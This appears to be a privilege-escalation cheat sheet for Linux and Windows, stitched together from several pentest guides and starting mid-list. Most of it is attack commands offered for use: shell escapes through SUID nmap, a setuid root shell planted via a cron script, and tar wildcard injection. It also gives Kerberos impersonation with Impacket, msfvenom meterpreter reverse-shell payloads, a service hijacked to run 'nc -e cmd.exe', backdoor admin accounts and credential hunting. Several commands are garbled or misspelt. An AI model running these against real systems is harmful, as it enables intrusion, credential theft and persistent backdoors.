/var/log/xferlog cat /var/log/yum.log cat /var/run/utmp cat /var/webmin/miniserv.log cat /var/www/logs/access_log cat /var/www/logs/access.log ls -alh /var/lib/dhcp3/ ls -alh /var/log/postgresql/ ls -alh /var/log/proftpd/ ls -alh /var/log/samba/ Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp Note: http://www.thegeekstuff.com/2011/08/linux-var-log-files/ If commands are limited, you break out of the "jail" shell? python -c 'import pty;pty.spawn("/bin/bash")' echo os.system('/bin/bash') /bin/sh -i How are file-systems mounted? mount df -h Are there any unmounted file-systems? cat /etc/fstab What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here. find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it. find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it. find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search) # find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied) find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm find / -writable -type d 2>/dev/null # world-writeable folders find / -perm -222 -type d 2>/dev/null # world-writeable folders find / -perm -o w -type d 2>/dev/null # world-writeable folders find / -perm -o x -type d 2>/dev/null # world-executable folders find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders Any "problem" files? Word-writeable, "nobody" files find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files Preparation & Finding Exploit Code What development tools/languages are installed/supported? find / -name perl* find / -name python* find / -name gcc* find / -name cc How can files be uploaded? find / -name wget find / -name nc* find / -name netcat* find / -name tftp* find / -name ftp http://www.vulnview.com/cve-details.php?cvename=[CVE] (Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk http://web.archive.org/web/20111118031158/http://tarantula.by.ru/localroot/ http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/ Mitigations Try doing it! Setup a cron job which automates script(s) and/or 3rd party products Is the system fully patched? Kernel, operating system, all applications, their plugins and web services apt-get update && apt-get upgrade yum update Are services running with the minimum level of privileges required? For example, do you need to run MySQL as root? Scripts Can any of this be automated?! Nmap is a scanner for network and OS services detection. However, if misconfigured to be used with “sudo” or “administrator” privileges can lead to a privilege escalation. 1. Check what sudo permission the current user has, desired “NOPASSWD” sudo -l 2. Execute Nmap in interactive mode sudo nmap --interactive 3. Nmap has been run with “sudo” privileges. Run a shell inside the Nmap interactive prompt !bash or !sh whoami 1. Having sticky bit permission I get a root shell using ‘!sh’ and now ‘!bash’ so it is worthy to try different shells. ls -l /usr/local/bin/nmap 2. Accessing interactive mode we can run the shell nmap --interactive !bash whoami exit !sh whoami 1. In case that “--interactive" is not an option sudo -l sudo -u root nmap --interactive 2. We will now try playing with environmental variables TF=$(mktemp) echo 'os.execute("/bin/sh")' > $TF sudo nmap --script=$TF 3. We now are root bash whoami; date; hostname In order for the technique to work the WebDav service needs to be in running status because the WebDav doesn’t negotiate signing and therefore authentication relays from the current machine account will be allowed. Enable WebClient Service: #include #include int main() { const GUID _MS_Windows_WebClntLookupServiceTrigger_Provider = { 0x22B6D684, 0xFA63, 0x4578, { 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7 } }; REGHANDLE Handle; bool success = false; if (EventRegister(&_MS_Windows_WebClntLookupServiceTrigger_Provider, nullptr, nullptr, &Handle) == ERROR_SUCCESS) { EVENT_DESCRIPTOR desc; EventDescCreate(&desc, 1, 0, 0, 4, 0, 0, 0); success = EventWrite(Handle, &desc, 0, nullptr) == ERROR_SUCCESS; EventUnregister(Handle); } return success; } The above process can be conducted directly from Impacket by utilizing the “getST” python utility. Compare to Rubeus the tool doesn’t need to hash value of the machine account password but the plain-text. A service ticket can be requested by executing the following command: getST.py -spn cifs/hive.purple.lab purple.lab/Desktop-Pentestlab\$ -impersonate administrator The ticket will be saved as .ccache in the current working directory. Convert Ticket: The final ticket granting ticket (TGT) from Rubeus are based64 encoded. In order to be used for Kerberos authentication the ticket needs to be in .ccache format. Executing the following command will decode the ticket and write the output into a .kirbi file. echo "base64" | base64 -d > admin.kirbi Impacket contains a python utility which can convert Kerberos tickets that have the .kirbi extension to .ccache. ticketConverter.py /home/kali/admin.kirbi admin.ccache Access via Kerberos Authentication Obtaining a ticket which belongs to an administrator account means that it could be used to access the target service from an elevated point of view. Both “wmiexec” and “psexec” from Impacket support Kerberos authentication and therefore could be utilized to access the host as Administrator or SYSTEM completing the privilege escalation scenario. wmiexec.py -k -no-pass purple.lab/administrator@hive.purple.lab Executing “psexec” will create a service on the target host and it is not considered opsec safe. However it could be executed by specifying the administrator account and the target host with the “-k” and “-no-pass” flags to use Kerberos authentication. psexec.py -k -no-pass purple.lab/administrator@hive.purple.lab Let’s try to view the OS Release of the lab machine. By executing: $ lsb_release -a We can also see the Kernel Version: $ uname -a We first move to the tmp directory which we will be able to create a file, paste the exploit code and then compile it. The commands we should run are: $ cd /tmp $ touch exploit.c $ vim exploit.c Then, we should paste the exploit code inside the file, save and exit. Now, we have to compile the exploit. To do this we run: $ gcc exploit.c -o exploit And now we only have to execute the exploit file to see if our exploit works. By running: $ ./exploit The python command you can see was used to get a proper shell. The command used: $ python -c ‘import pty; pty.spawn(“/bin/bash”)’ As we can see, we can execute shell commands by typing “!” followed by the command we would like to execute. Thus, the: “!sh” command should normally pop a shell. And as nmap has the SUID flags, we should normally get a root shell. Linux Privilege Escalation with Setuid and Nmap I was specifically looking for executable files where the setuid parameter was marked and where the owner was root. This essentially means when the program is executed it is executed in the permission of the owner of the file (where the EUID, the Effective User ID is root), in this case root. We would look for these types of file with the below find command: find / -user root -perm -4000 -exec ls -la {} \; nmap --interactive nmap> !whoami !whoami root waiting to reap child : No child processes nmap> !sh !sh # id id uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot) # Token/Privilege Enumeration/Abuse: Get-ProcessTokenGroup - returns all SIDs that the current token context is a part of, whether they are disabled or not Get-ProcessTokenPrivilege - returns all privileges for the current (or specified) process ID Enable-Privilege - enables a specific privilege for the current process Service Enumeration/Abuse: Test-ServiceDaclPermission - tests one or more passed services or service names against a given permission set Get-UnquotedService - returns services with unquoted paths that also have a space in the name Get-ModifiableServiceFile - returns services where the current user can write to the service binary path or its config Get-ModifiableService - returns services the current user can modify Get-ServiceDetail - returns detailed information about a specified service Set-ServiceBinaryPath - sets the binary path for a service to a specified value Invoke-ServiceAbuse - modifies a vulnerable service to create a local admin or execute a custom command Write-ServiceBinary - writes out a patched C# service binary that adds a local admin or executes a custom command Install-ServiceBinary - replaces a service binary with one that adds a local admin or executes a custom command Restore-ServiceBinary - restores a replaced service binary with the original executable DLL Hijacking: Find-ProcessDLLHijack - finds potential DLL hijacking opportunities for currently running processes Find-PathDLLHijack - finds service %PATH% DLL hijacking opportunities Write-HijackDll - writes out a hijackable DLL Registry Checks: Get-RegistryAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set Get-RegistryAutoLogon - checks for Autologon credentials in the registry Get-ModifiableRegistryAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns Miscellaneous Checks: Get-ModifiableScheduledTaskFile - find schtasks with modifiable target files Get-UnattendedInstallFile - finds remaining unattended installation files Get-Webconfig - checks for any encrypted web.config strings Get-ApplicationHost - checks for encrypted application pool and virtual directory passwords Get-SiteListPassword - retrieves the plaintext passwords for any found McAfee's SiteList.xml files Get-CachedGPPPassword - checks for passwords in cached Group Policy Preferences files Other Helpers/Meta-Functions: Get-ModifiablePath - tokenizes an input string and returns the files in it the current user can modify Write-UserAddMSI - write out a MSI installer that prompts for a user to be added Invoke-WScriptUACBypass - performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe Invoke-PrivescAudit - runs all current escalation checks and returns a report (formerly Invoke-AllC Windows Kernel Exploits systeminfo -> look up missing kb's systeminfo | findstr /B /C:"OS Name" /C:"OS * Version"` sherlock -> Find-AllVulns powershell 0xsp Mongoose Common Kernel Exploits [MS16-014](https://www.exploit-db.com/exploits/40039) - applies to: Windows 7 SP1 x86 [MS16-016](https://www.exploit-db.com/exploits/39432) - 'WebDAV' applies to Windows 7 SP1 x86 (Build 7601) [MS16-032](https://www.exploit-db.com/exploits/39719) - applies to: Windows 7 x86/x64, Windows 8 x86/64, Windows 10, Windows Server 2008-2012 R2 [CVE-2020-0796]()-applies to : SMBv3 Enabled on Windows Operation Systems [MS16-075](a href="https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075">) CVE-2019-1388 Config files creds in cleartext or base64 -> once windows in installed c:\sysprep.inf c:\sysprep\sysprep.xml %WINDIR%\Panther\Unattend\Unattended.xml %WINDIR%\Panther\Unattended.xml GPP(Group Policy Preferences) Only applicable for devices connected to a domain Groups.xml`stored in SYSVOL -> DC encrypted with AES, but key got leaked \\dc2018.lab\SYSVOL\dc2008.lab\Policies\{id}\MACHINE\Preferences\Groups` Other Files Services\Services.xml ScheduldedTasks\ScheduledTasks.xml Printers\Printers.xml Drives\Drives.xml DataSources\DataSources.xml Other Misc Passwords dir /s *pass* == *cred* == *vnc* == *.config* findstr /si password *.xml *.ini *.txt reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s web.config php.ini httpd.conf access.log powerup: Get-WebConfig (ISS > web.config putty: reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions Tight VNC: reg query HKCU\Software\TightVNC\Server bncpwd.exe Always Install Elevated: reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstalledElevated reg query HKCU\SOFTWARE\Policies\Micorosft\Windows\Installer\AlwaysInstalledElevated both values = 1, created a malicious .msi file with msfvenom for example execute it with msiexec /quiet /qn /i powerup: Get-RegistryAlwaysInstallElevated Write-UserAddMSI Unquoted Services Paths (trusted service paths) For each space in a file path, windows will attempt to look for and execute programs with a name that matches the word in front of the space. Example: C:\Program Files\Some Folder\Service.exe C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """ PFNet * C:\Program Files (x86)\Privacyware\Privatefirewall 7.0\pfscv.exe * icalcs "C:\Program Files (x86)\Privacyware" * msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=10.0.0.100 LPORT=443 -f exe -o Privatefirewall.exe Start and stop the service: sc stop PFNet sc start PFNET Powerup: Get-ServiceUnquoted Write-ServiceBinary -Name -Path Insecure Service Permissions whoami > net user ` \- enumerate groups accesschk.exe` -> part of sysinternals accesschk.exe -ucqv accesschk.exe -uwcqv "Authenticated Users" * /accepteula Write access to a service as authenticated user? W-XP ssdprsv and upnphost by default: sc qc upnphost sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" net start upnphost Powerup: Get-ModifiableService Test-ServiceDaclPermission Invoke-ServiceAbuse -Name -Command DLL Hijacking Requires user interaction / reboot. DLL search order on 32-bit systems: 1. The directory from which the application is loaded 2. 32-bit System directory (C:\Windows\System32) 3. 16-bit System directory (C:\Windows\System) 4. Windows directory (C:\Windows) 5. The current working directory 6. Directories in the PATH environment variable You can use procmon to look for vulnerable dll's using the following filters: Result is NAME NOT FOUND Include Path ends with .dll echo %path% icacls C:\Python27 accesssschk.exe -dqv "C:\Python27" sc qc IKEEXT Generate a malicious payload with msfvenom msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f dll > evil.dll Windows 7 x86/64: IKE and AuthIP IPsec Keying Modules (IKEEEXT) - wlbsctrl.dl Powerup: Find-PathDLLHijkack Find-ProjcessDLLHijkack Wire-HijkackDll Schedulded tasks: On server 2000, 2003, and XP, scheduled tasks are running as system. Are they calling any .exe's and can you overwrite? accesschk.exe -dqv Can you create a task yourself? net start "Task Scheduler" at /interactive "path to evil exe" Powerup: Get-ModifiableScheduledTaskFile Useful commands * `hostname` * `echo %username%` * `whoami` / `priv` * `swinsta` \- other logged in users * `net users` * `net user ` * `net localgroup` * `net localgroup Administrators` * `net user rottenadmin P@ssword123! /add` * `net localgroup Administrators rottenadmin /add` * `ipconfing /all` * `route print` * `arp -a` * `netstat -ano` * `C:\WINDOWS\System32\drivers\etc\hosts` * `schtasks /query /fo LIST /v` \- scheduled task * `tasklist /SVC` \- running processes * `net start` \- started services * `cd\ & dir /b /s proof.txt` Linux not added -> ld_preload - [URL](http://www.dankalia.com/tutor/01005/0100501004.htm) Scripts & Tools 0xsp Mongoose Linux-Enum-Mod linux-exploit-suggestor Kernel Exploits Mongoose 0xsp uname -a -> searchsploit linux-exploit-suggestor Common Kernel Exploits * `CVE-2010-2959` * `cve-2020-8835` * `CVE-2019-7304` * `CVE - 2019-9213 2018-5333` Services Running as root ps -aux | grep root any shell escape sequences? SUID Executables runs with permissions of the owner find / -perm -u=s -type f 2>/dev/null any shell escape sequences - do we have write access? Sudo rights / users sudo -l what can we execute -> any shell escape sequences Cron jobs find / -perm -2 -type f 2>/dev/null` ls -la /etc/cron.d` # rootme.c int main(void) { setgid(0); setuid(0); execl("/bin/sh", "sh", 0); } gcc rootme.c -o rootme echo "chown root:root /tmp/rootme; chmod u+s /tmp/rootme;" > /usr/local/sbin/cron-logrotate.sh Wildcards often combined with user interaction / cronjobs cfr. Back to the Future: Unix Wildcards Gone Wild paper wild cards can be utilized to inject arbitrary command by creating files that are seen as commands Example: --checkpoint= and --checkpoint-action= --checkpoint=1 and --checkpoint-actionexec=sh rshell.sh Path Abuse ('.' in path) Requires user interaction (eg somebody need to have . in their path) * `$PATH:.:${PATH}` * `export $PATH` * `echo $PATH` * replace executable files with a malicious one Useful commands * `ps aux | grep root` * `crontab -l` * `ifconfig -a` * `cat /etc/resolv.conf` * `netstat -tulpn` * `arp -e` * `route` * `id` * `who` * `cat /etc/passwd | cut -d: -f1` \- list of users * `cat ~/.ssh` * `find . -name package.json -print -exec cat {} +` Sources https://www.fuzzysecurity.com/tutorials/16.html https://toshellandback.com/2015/11/24/ms-priv-esc/ https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/ https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/ https://payatu.com/guide-linux-privilege-escalation/# https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ https://github.com/sagishahar/lpeworkshop Is anyone else logged in? qwinsta # Is there a printer lpstat -a